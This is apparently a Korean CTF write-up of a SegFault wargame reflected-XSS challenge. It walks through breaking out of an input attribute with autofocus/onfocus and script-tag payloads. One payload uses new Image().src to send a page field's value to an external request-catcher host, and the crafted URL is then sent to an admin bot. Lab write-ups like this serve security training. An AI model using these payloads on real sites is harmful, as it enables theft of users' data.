1. XSS 포인트 확인
XSS가 발생한다는 마이페이지에 접속 시,
user 파라미터에 사용자의 ID가 넘어가는 모습을 볼 수 있다.
user 파라미터 변경 시,
파라미터 데이터가
사용자의 개인정보를 출력해 주는 곳에 찍히는 것을 볼 수 있다.
(* Reflected XSS 포인트 발견)
2. 사용 가능한 HTML 특수문자 체크
user 파라미터에 특수문자(<, >, ", ')를 삽입해 보니,
응답에서 모든 특수문자가 HTML Entity로 치환되지 않는 모습을 볼 수 있다.
3. 스크립트 삽입
xss" autofocus onfocus="alert(1)"/><br"
user 파라미터에 스크립트를 삽입하고
http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=xss"+autofocus+onfocus="alert(1)"/><br"
완성된 Reflected XSS 공격 주소에 접속해 보니,
스크립트가 동작하는 것을 확인할 수 있었다.
4. 정보 추출
Flag는 관리자 봇 마이페이지의 Flag Here..! 칸에 존재할 것으로 추측할 수 있다.
Flag가 출력되는 칸의 name 속성 값을 얻은 뒤,
자바스크립트를 통해 Flag가 출력될
<input> 태그의 placeholder 속성 값에 접근하는 코드를 완성했다.
xss" autofocus onfocus="new Image().src='공격자_서버_주소'+document.getElementsByName('info')[0].placeholder;"/><br"
이후, user 파라미터에 placeholder 속성 값을 공격자 서버로 전송하는 스크립트를 작성하고,
해당 스크립트를 요청하는 공격 URL을 작성했다.
http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=
xss"+autofocus+onfocus="new+Image().src='https://en88y0voes91u.x.pipedream.net/?flag='%2bdocument.getElementsByName('info')[0].placeholder;"/><br"
완성된 URL에 접속해 보니,
일반 사용자의 개인정보 란에 있는
Flag Here..! 라는 문자열이 서버에 전송된 것을 확인할 수 있다.
관리자 봇이 해당 공격 URL에 접근할 수 있도록
URL을 전달해 주었다.
이후, 공격자 서버에 전달된 요청을 확인해 보니,
Flag 값을 확인할 수 있었다.

xss"/><script>alert(document.getElementsByName('info')[0].placeholder)</script><br"
첫 공격 시도에는 <script> 태그를 이용해서 Flag Here..! 문자열을 출력해 보았다.

하지만, 해당 URL에 접근했을 때, alert 창이 뜨지 않았다.

콘솔에 뜨는 에러 메시지를 확인해 보니,
placeholder 속성 값이 undefined 된 것을 알 수 있었고,

페이지 소스를 확인해 보니,
삽입한 스크립트가 출력될 placeholder 속성 값이 생성되기 전에 먼저 실행되기 때문에
placeholder 속성 값을 찾을 수 없어 생기는 에러임을 확인할 수 있었다.
xss"/><script>window.onload=function(){alert(document.getElementsByName('info')[0].placeholder)}</script><br"
xss"/>
<script>
window.onload = function() {
alert(document.getElementsByName('info')[0].placeholder)
}
</script>
<br"
이후,
HTML 객체가 전부 실행되고 스크립트가 동작할 수 있도록
window.onload를 활용해 user 파라미터에 삽입할 스크립트를 작성했다.
http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=xss"/><script>window.onload=function(){alert(document.getElementsByName('info')[0].placeholder)}</script><br"
완성된 URL에 접근해 보니,

정상적으로 Flag Here..! 문자열이 알림창으로 추출되는 것을 확인할 수 있었다.
'WarGame > SegFault' 카테고리의 다른 글
Steal Info 2 (0) | 2024.06.30 |
---|---|
Steal Info (0) | 2024.06.30 |
XSS Challenge (1) | 2024.06.24 |
XSS 6 (0) | 2024.06.17 |
XSS 5 (0) | 2024.06.16 |